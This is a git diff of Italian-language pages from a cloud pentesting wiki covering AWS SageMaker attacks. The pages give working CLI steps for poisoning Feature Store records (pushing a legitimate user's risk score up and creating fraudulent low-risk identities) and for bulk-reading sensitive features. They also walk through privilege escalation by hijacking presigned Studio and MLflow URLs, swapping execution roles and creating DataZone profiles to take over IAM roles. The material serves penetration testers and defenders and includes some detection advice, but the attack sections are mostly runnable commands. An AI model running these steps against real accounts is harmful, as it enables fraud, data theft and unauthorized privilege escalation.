diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index 9af5aeb93..0759e9b06 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,50 +1,160 @@ # SageMaker Feature Store online store poisoning -Abusa di `sagemaker:PutRecord` su un Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumati dall'inference online. In combinazione con `sagemaker:GetRecord`, an attacker può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint. +Abusare di `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature in uso consumati dall'inferenza in tempo reale. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili ed esfiltrare dati ML riservati. Non richiede accesso a modelli o endpoint, rendendolo un attacco diretto a livello di dati. ## Requisiti - Permessi: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- Obiettivo: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inference in tempo reale) +- Bersaglio: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inferenza in tempo reale) +- Complessità: **LOW** - Semplici comandi AWS CLI, nessuna manipolazione del modello richiesta ## Passaggi -1) Scegli o crea un piccolo Online Feature Group per i test + +### Ricognizione + +1) Elencare i Feature Groups con OnlineStore abilitato +```bash +REGION=${REGION:-us-east-1} +aws sagemaker list-feature-groups \ +--region $REGION \ +--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ +--output table +``` +2) Descrivere un Feature Group target per comprendere il suo schema +```bash +FG= +aws sagemaker describe-feature-group \ +--region $REGION \ +--feature-group-name "$FG" +``` +Nota i `RecordIdentifierFeatureName`, `EventTimeFeatureName`, e tutte le definizioni delle feature. Questi sono necessari per creare record validi. + +### Scenario di attacco 1: Data Poisoning (Overwrite Existing Records) + +1) Leggi il record legittimo corrente +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +2) Avvelena il record con valori malevoli usando il parametro inline `--record` +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"} +]" \ +--target-stores OnlineStore +``` +3) Verificare i poisoned data +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +**Impatto**: I modelli ML che consumano questa feature vedranno ora `risk_score=0.99` per un utente legittimo, potenzialmente bloccando le sue transazioni o servizi. + +### Scenario di attacco 2: Iniezione di dati malevoli (Create Fraudulent Records) + +Iniettare record completamente nuovi con feature manipolate per eludere i controlli di sicurezza: +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Create fake user with artificially low risk to perform fraudulent transactions +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"} +]" \ +--target-stores OnlineStore +``` +Verifica la injection: +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-999 +``` +**Impatto**: L'attaccante crea un'identità falsa con un punteggio di rischio basso (0.01) che può eseguire transazioni fraudolente di alto valore senza attivare il rilevamento delle frodi. + +### Scenario d'attacco 3: Esfiltrazione di dati sensibili + +Leggere più record per estrarre feature confidenziali e profilare il comportamento del modello: +```bash +# Exfiltrate data for known users +for USER_ID in user-001 user-002 user-003 user-999; do +echo "Exfiltrating data for ${USER_ID}:" +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string ${USER_ID} +done +``` +**Impatto**: Feature confidenziali (punteggi di rischio, modelli di transazione, dati personali) esposte a un attaccante. + +### Creazione di un Feature Group di test/demo (Opzionale) + +Se hai bisogno di creare un Feature Group di test: ```bash REGION=${REGION:-us-east-1} FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) if [ -z "$FG" -o "$FG" = "None" ]; then ACC=$(aws sts get-caller-identity --query Account --output text) -FG=ht-fg-$ACC-$(date +%s) +FG=test-fg-$ACC-$(date +%s) ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) -aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" + +aws sagemaker create-feature-group \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-feature-name entity_id \ +--event-time-feature-name event_time \ +--feature-definitions "[ +{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"} +]" \ +--online-store-config "{\"EnableOnlineStore\":true}" \ +--role-arn "$ROLE_ARN" + echo "Waiting for feature group to be in Created state..." for i in $(seq 1 40); do ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) -echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15 done fi -``` -2) Inserire/sovrascrivere un record online (poison) -```bash -NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) -cat > /tmp/put.json << JSON -{ -"FeatureGroupName": "$FG", -"Record": [ -{"FeatureName": "entity_id", "ValueAsString": "user-123"}, -{"FeatureName": "event_time", "ValueAsString": "$NOW"}, -{"FeatureName": "risk_score", "ValueAsString": "0.99"} -], -"TargetStores": ["OnlineStore"] -} -JSON -aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json -``` -3) Leggi nuovamente il record per confermare la manipolazione -```bash -aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" -``` -Atteso: risk_score restituisce 0.99 (impostato dall'attaccante), dimostrando la capacità di modificare le feature online utilizzate dai modelli. -## Impact -- Attacco di integrità in tempo reale: manipolare le feature utilizzate dai modelli di produzione senza toccare endpoints/models. -- Rischio per la riservatezza: leggere feature sensibili tramite GetRecord da OnlineStore. +echo "Feature Group ready: $FG" +``` +## Rilevamento + +Monitora CloudTrail per pattern sospetti: +- eventi `PutRecord` provenienti da principal IAM o indirizzi IP insoliti +- chiamate `PutRecord` o `GetRecord` ad alta frequenza +- `PutRecord` con valori di feature anomali (es., `risk_score` fuori dall'intervallo normale) +- operazioni `GetRecord` in blocco che indicano una massiccia esfiltrazione +- accessi al di fuori dell'orario lavorativo normale o da posizioni inaspettate + +Implementare il rilevamento delle anomalie: +- validazione dei valori delle feature (es., `risk_score` deve essere 0.0-1.0) +- analisi dei pattern di scrittura (frequenza, tempistica, identità della sorgente) +- rilevamento della deriva dei dati (cambiamenti improvvisi nelle distribuzioni delle feature) + +## Riferimenti +- [Documentazione AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) +- [Migliori pratiche di sicurezza per Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md index 3b48223b5..d1e3094ee 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -6,34 +6,117 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -Inizia a creare un notebook con l'IAM Role da assegnare ad esso: +Inizia a creare un notebook con l'IAM Role assegnato per l'accesso: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` -La risposta dovrebbe contenere un campo `NotebookInstanceArn`, che conterrà l'ARN dell'istanza notebook appena creata. Possiamo quindi usare l'API `create-presigned-notebook-instance-url` per generare un URL che possiamo usare per accedere all'istanza notebook una volta che è pronta: +La risposta dovrebbe contenere un campo `NotebookInstanceArn`, che conterrà l'ARN della nuova istanza notebook creata. Possiamo quindi usare l'API `create-presigned-notebook-instance-url` per generare un URL che potremo usare per accedere all'istanza notebook una volta che sarà pronta: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Apri l'URL nel browser e clicca su `Open JupyterLab`` in alto a destra, poi scorri fino alla scheda “Launcher” e, nella sezione “Other”, clicca sul pulsante “Terminal”. +Navigare all'URL con il browser e cliccare su `Open JupyterLab` in alto a destra, poi scorrere verso il basso alla scheda “Launcher” e, nella sezione “Other”, cliccare sul pulsante “Terminal”. Ora è possibile accedere alle credenziali metadata del ruolo IAM. -**Impatto potenziale:** Privesc to the sagemaker service role specified. +**Impatto potenziale:** Privesc al ruolo di servizio sagemaker specificato. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -Se su di esso sono già in esecuzione dei Jupyter **notebooks già in esecuzione** e puoi elencarli con `sagemaker:ListNotebookInstances` (o scoprirli in qualsiasi altro modo), puoi **generare un URL per essi, accedervi e rubare le credenziali come indicato nella tecnica precedente**. +Se ci sono Jupyter **notebooks già in esecuzione** su di esso e puoi elencarli con `sagemaker:ListNotebookInstances` (o scoprirli in qualsiasi altro modo). Puoi **generare un URL per essi, accedervi e rubare le credenziali come indicato nella tecnica precedente**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` -**Impatto potenziale:** Privesc to the sagemaker service role attached. +**Potential Impact:** Privesc al ruolo di servizio sagemaker associato. + + +## `sagemaker:CreatePresignedDomainUrl` + +> [!WARNING] +> Questo attacco funziona solo sui domini tradizionali più vecchi di SageMaker Studio, non su quelli creati da SageMaker Unified Studio. I domini provenienti da Unified Studio restituiranno l'errore: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal". + +Un'entità con il permesso di chiamare `sagemaker:CreatePresignedDomainUrl` su un `UserProfile` target dello Studio può generare un URL di accesso che autentica direttamente in SageMaker Studio come quel profilo. Questo concede al browser dell'attaccante una sessione Studio che eredita i permessi del `ExecutionRole` del profilo e l'accesso completo alla home e alle app del profilo su EFS. Non è richiesto `iam:PassRole` né l'accesso alla console. + +**Requisiti**: +- Un SageMaker Studio `Domain` e un `UserProfile` di destinazione al suo interno. +- Il principal dell'attaccante necessita di `sagemaker:CreatePresignedDomainUrl` sul `UserProfile` di destinazione (a livello di risorsa) o su `*`. + +Esempio di policy minimale (limitata a un singolo UserProfile): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +**Passaggi di abuso**: + +1) Enumerare un Studio Domain e gli UserProfiles che puoi prendere di mira +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) Verificare se unified studio non viene utilizzato (attack funziona solo sui domini tradizionali di SageMaker Studio) +```bash +aws sagemaker describe-domain --domain-id --query 'DomainSettings' +# If you get info about unified studio, this attack won't work +``` +3) Genera una presigned URL (valida ~5 minuti per impostazione predefinita) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +4) Apri l'URL restituito in un browser per accedere a Studio come utente target. In un terminale Jupyter all'interno di Studio verifica l'identità effettiva o esfiltra il token: +```bash +aws sts get-caller-identity +``` +Note: +- `--landing-uri` può essere omesso. Alcuni valori (es., `app:JupyterLab:/lab`) possono essere rifiutati a seconda della variante/versione di Studio; i valori predefiniti di solito reindirizzano alla home di Studio e poi a Jupyter. +- Le policy dell'organizzazione/ le restrizioni sugli endpoint VPC possono comunque bloccare l'accesso di rete; la creazione del token non richiede l'accesso alla console né `iam:PassRole`. + +**Impatto potenziale**: Lateral movement and privilege escalation assumendo qualsiasi Studio `UserProfile` il cui ARN sia consentito, ereditandone l'`ExecutionRole` e il filesystem/le app. + + +### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` + +Un'identità con il permesso di chiamare `sagemaker:CreatePresignedMlflowTrackingServerUrl` (e `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` per l'accesso successivo) per un target SageMaker MLflow Tracking Server può generare un URL presigned monouso che autentica direttamente all'interfaccia MLflow gestita per quel server. Questo concede lo stesso accesso che un utente legittimo avrebbe al server (visualizzare/creare experiments e run, e scaricare/caricare artifact nello S3 artifact store del server). + +**Requisiti:** +- Un SageMaker MLflow Tracking Server nell'account/regione e il suo nome. +- Il principal attaccante necessita di `sagemaker:CreatePresignedMlflowTrackingServerUrl` sulla risorsa target MLflow Tracking Server (o `*`). + +**Passaggi di abuso**: + +1) Enumerare i MLflow Tracking Server a cui puoi mirare e scegliere un nome +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) Generare un presigned MLflow UI URL (valido per un breve periodo) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--query AuthorizedUrl --output text +``` +3) Apri l'URL restituito in un browser per accedere alla MLflow UI come utente autenticato per quel Tracking Server. + +**Potential Impact:** Accesso diretto alla MLflow UI gestita per il Tracking Server target, permettendo la visualizzazione e la modifica di experiments/runs e il recupero o il caricamento di artifact memorizzati nello S3 artifact store configurato dal server, nei limiti dei permessi imposti dalla configurazione del server. + ### `sagemaker:CreateProcessingJob`, `iam:PassRole` -Un attacker con quei permessi può far sì che **SageMaker esegua un processing job** con un ruolo SageMaker allegato. Riutilizzando uno degli AWS Deep Learning Containers che già include Python (e eseguendo il job nella stessa regione dell'URI), puoi lanciare codice inline senza costruire immagini proprie: +Un attacker con tali permessi può far sì che **SageMaker esegua un processing job** con un ruolo SageMaker associato. Riutilizzando uno degli AWS Deep Learning Containers che già include Python (e eseguendo il job nella stessa regione dell'URI), puoi eseguire codice inline senza costruire immagini proprie: ```bash REGION= ROLE_ARN= @@ -53,7 +136,7 @@ aws sagemaker create-processing-job \ ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -Un attaccante con quelle autorizzazioni può lanciare un training job che esegue codice arbitrario con il ruolo indicato. Usando un container ufficiale di SageMaker e sovrascrivendo l'entrypoint con un payload inline, non è necessario costruire immagini proprie: +Un attacker con quei permessi può avviare un training job che esegue codice arbitrario con il ruolo indicato. Usando un container ufficiale di SageMaker e sovrascrivendo l'entrypoint con un payload inline, non è necessario costruire immagini proprie: ```bash REGION= ROLE_ARN= @@ -77,7 +160,7 @@ aws sagemaker create-training-job \ ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -Un attaccante con queste autorizzazioni può avviare un HyperParameter Tuning Job che esegue codice controllato dall'attaccante sotto il ruolo fornito. La modalità Script richiede di ospitare il payload in S3, ma tutti i passaggi possono essere automatizzati dalla CLI: +Un attaccante con queste autorizzazioni può avviare un HyperParameter Tuning Job che esegue codice controllato dall'attaccante con il ruolo fornito. Script mode richiede che il payload sia ospitato in S3, ma tutti i passaggi possono essere automatizzati dalla CLI: ```bash REGION= ROLE_ARN= @@ -183,28 +266,29 @@ aws sagemaker create-hyper-parameter-tuning-job \ --hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \ --training-job-definition file:///tmp/hpo-definition.json ``` -Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado. +Ogni addestramento avviato dal processo stampa la metrica ed esfiltra le credenziali del ruolo indicato. -### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`) +### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) -Prioridad de ExecutionRole: +Con il permesso di aggiornare un SageMaker Studio User Profile, creare un'app, una presigned URL per l'app e `iam:PassRole`, un attacker può impostare l'`ExecutionRole` su qualsiasi IAM role che il SageMaker service principal può assumere. Le nuove app di Studio avviate per quel profilo verranno eseguite con il ruolo scambiato, fornendo permessi elevati e interattivi tramite terminali Jupyter o job avviati da Studio. -- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol. -- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil. -- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol. - -Con i permessi per aggiornare un SageMaker Studio User Profile (o Space/Domain), un attacker può impostare l'`ExecutionRole` su qualsiasi IAM role che il SageMaker service principal può assumere. A differenza delle API di creazione job, le API di aggiornamento del profilo Studio non richiedono `iam:PassRole`. Le nuove Studio apps lanciate per quel profilo verranno eseguite con il ruolo scambiato, fornendo permessi elevati interattivi tramite i terminali Jupyter o i job lanciati da Studio. +> [!WARNING] +> Questo attacco richiede che non ci siano applicazioni nel profilo oppure la creazione dell'app fallirà con un errore simile a: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.` +> Se è presente qualsiasi app, avrai bisogno del permesso `sagemaker:DeleteApp` per eliminarle prima. Passaggi: ```bash -# 1) List Studio user profiles and pick a target +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target aws sagemaker list-user-profiles --domain-id-equals # Choose a more-privileged role that already trusts sagemaker.amazonaws.com ROLE_ARN=arn:aws:iam:::role/ -# 2) Update the Studio profile to use the new role (no iam:PassRole) +# 3) Update the Studio profile to use the new role (no iam:PassRole) aws sagemaker update-user-profile \ --domain-id \ --user-profile-name \ @@ -215,18 +299,58 @@ aws sagemaker describe-user-profile \ --user-profile-name \ --query 'UserSettings.ExecutionRole' --output text -# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level -aws sagemaker update-space \ ---domain-id \ ---space-name \ ---space-settings ExecutionRole=$ROLE_ARN +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals -aws sagemaker describe-space \ +# Delete an app +aws sagemaker delete-app \ --domain-id \ ---space-name \ ---query 'SpaceSettings.ExecutionRole' --output text +--user-profile-name \ +--app-type JupyterServer \ +--app-name -# 4) Optionally, change the domain default so every profile inherits the new role +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name + + +# 5) Generate a presigned URL to access Studio with the new domain default role +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) + +``` +**Impatto potenziale**: Privilege escalation ai permessi del ruolo di esecuzione SageMaker specificato per sessioni interattive di Studio. + +### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) + +Con i permessi per aggiornare un SageMaker Studio Domain, creare un'app, un presigned URL per l'app e `iam:PassRole`, un attacker può impostare l'`ExecutionRole` predefinito del domain su qualsiasi IAM role che il SageMaker service principal può assumere. Le nuove app Studio avviate per quel profilo verranno eseguite con il ruolo scambiato, concedendo permessi elevati interattivi tramite terminali Jupyter o job avviati da Studio. + +> [!WARNING] +> Questo attack richiede che non ci siano applicazioni nel domain o la creazione dell'app fallirà con l'errore: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.` + +Passaggi: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 3) Change the domain default so every profile inherits the new role aws sagemaker update-domain \ --domain-id \ --default-user-settings ExecutionRole=$ROLE_ARN @@ -235,22 +359,86 @@ aws sagemaker describe-domain \ --domain-id \ --query 'DefaultUserSettings.ExecutionRole' --output text -# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role -aws sagemaker create-app \ +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals + +# Delete an app +aws sagemaker delete-app \ --domain-id \ --user-profile-name \ --app-type JupyterServer \ ---app-name js-atk +--app-name -# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: -# aws sts get-caller-identity # should reflect the new ExecutionRole +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--app-type JupyterServer \ +--app-name js-domain-escalated + +# 5) Generate a presigned URL to access Studio with the new domain default role aws sagemaker create-presigned-domain-url \ --domain-id \ --user-profile-name \ --query AuthorizedUrl --output text -``` -**Potenziale Impatto**: Escalation dei privilegi ai permessi del SageMaker execution role specificato per le sessioni interattive di Studio. +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) +``` +**Potential Impact**: Privilege escalation ai permessi del `ExecutionRole` specificato per le sessioni interattive di Studio. + +### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl` + +Un attacker con il permesso di creare un'app SageMaker Studio per un target UserProfile può lanciare un'app JupyterServer che viene eseguita con il `ExecutionRole` del profilo. Questo fornisce accesso interattivo ai permessi del ruolo tramite Jupyter terminals o job avviati da Studio. + +Passaggi: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# 3) Create a JupyterServer app for the user profile +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-privesc + +# 4) Generate a presigned URL to access Studio +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +``` +**Potential Impact**: Accesso interattivo al ruolo di esecuzione SageMaker associato al UserProfile di destinazione. + + +### `iam:GetUser`, `datazone:CreateUserProfile` + +Un attacker con tali permessi può concedere a un IAM user l'accesso a un Sagemaker Unified Studio Domain creando un DataZone User Profile per quell'utente. +```bash +# List domains +aws datazone list-domains --region us-east-1 \ +--query "items[].{Id:id,Name:name}" \ +--output json + +# Add IAM user as a user of the domain +aws datazone create-user-profile \ +--region us-east-1 \ +--domain-identifier \ +--user-identifier \ +--user-type IAM_USER +``` +L'URL del Unified Domain ha il seguente formato: `https://.sagemaker..on.aws/` (es. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`). + +**Impatto potenziale:** Accesso al Sagemaker Unified Studio Domain come utente, con possibilità di accedere a tutte le risorse all'interno del dominio Sagemaker e persino di scalare i privilegi al ruolo utilizzato dai notebook presenti nel Sagemaker Unified Studio Domain. ## Riferimenti diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md index 32a06fbc4..92e868689 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -4,27 +4,27 @@ ## Panoramica del servizio -Amazon SageMaker è la piattaforma managed di machine learning di AWS che mette insieme notebooks, infrastruttura di training, orchestrazione, registri e endpoint gestiti. Un compromesso delle risorse di SageMaker tipicamente fornisce: +Amazon SageMaker è la piattaforma gestita di AWS per il machine learning che mette insieme notebooks, infrastruttura di training, orchestrazione, registri e endpoint gestiti. Un compromesso delle risorse SageMaker fornisce tipicamente: - Ruoli IAM di esecuzione a lunga durata con ampio accesso a S3, ECR, Secrets Manager o KMS. -- Accesso a dataset sensibili memorizzati in S3, EFS o all'interno di feature store. -- Punti d'appoggio di rete all'interno di VPC (Studio apps, training jobs, endpoints). -- Presigned URLs ad alto privilegio che aggirano l'autenticazione della console. +- Accesso a dataset sensibili memorizzati in S3, EFS o all'interno dei feature store. +- Network footholds all'interno di VPC (Studio apps, training jobs, endpoints). +- Presigned URLs ad alto privilegio che bypassano l'autenticazione della console. -Comprendere come SageMaker è assemblato è fondamentale prima di pivot, persist o exfiltrate i dati. +Capire come SageMaker è assemblato è fondamentale prima di pivotare, persistere o esfiltrare dati. ## Componenti principali -- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Ogni domain ha un filesystem EFS condiviso e un ruolo di esecuzione di default. -- **Notebook Instances**: istanze EC2 gestite per notebook standalone; utilizzano ruoli di esecuzione separati. -- **Training / Processing / Transform Jobs**: container effimeri che scaricano codice da ECR e dati da S3. +- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Ogni dominio ha un filesystem EFS condiviso e un ruolo di esecuzione predefinito. +- **Notebook Instances**: Istanza EC2 gestite per notebook standalone; utilizzano ruoli di esecuzione separati. +- **Training / Processing / Transform Jobs**: container effimeri che prelevano codice da ECR e dati da S3. - **Pipelines & Experiments**: workflow orchestrati che descrivono tutti i passaggi, input e output. -- **Models & Endpoints**: artefatti impacchettati distribuiti per inferenza tramite endpoint HTTPS. +- **Models & Endpoints**: artefatti pacchettizzati distribuiti per inference tramite endpoint HTTPS. - **Feature Store & Data Wrangler**: servizi gestiti per la preparazione dei dati e la gestione delle feature. -- **Autopilot & JumpStart**: ML automatizzato e catalogo di modelli curati. +- **Autopilot & JumpStart**: ML automatizzato e catalogo di modelli curato. - **MLflow Tracking Servers**: UI/API MLflow gestita con token di accesso presigned. -Ogni risorsa fa riferimento a un ruolo di esecuzione, posizioni S3, immagini dei container e configurazione opzionale VPC/KMS—cattura tutte durante l'enumerazione. +Ogni risorsa fa riferimento a un ruolo di esecuzione, posizioni S3, immagini dei container e a una eventuale configurazione VPC/KMS—raccogli tutte queste informazioni durante l'enumerazione. ## Account e metadati globali ```bash @@ -39,9 +39,9 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' - # Generic tag sweep across any SageMaker ARN you know aws sagemaker list-tags --resource-arn --region $REGION ``` -Annota eventuali relazioni di trust cross-account (ruoli di esecuzione o S3 buckets con principal esterni) e le restrizioni di base come service control policies o SCPs. +Segnala qualsiasi cross-account trust (execution roles o S3 buckets con external principals) e le restrizioni di base, come service control policies o SCPs. -## Domini di Studio, App e Spazi Condivisi +## Studio Domains, Apps & Shared Spaces ```bash aws sagemaker list-domains --region $REGION aws sagemaker describe-domain --domain-id --region $REGION @@ -64,10 +64,10 @@ Cosa registrare: - `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. - EFS montato (`HomeEfsFileSystemId`) e directory home S3. -- Script di lifecycle (spesso contengono credenziali bootstrap o codice aggiuntivo push/pull). +- Script di lifecycle (spesso contengono bootstrap credentials o push/pull di 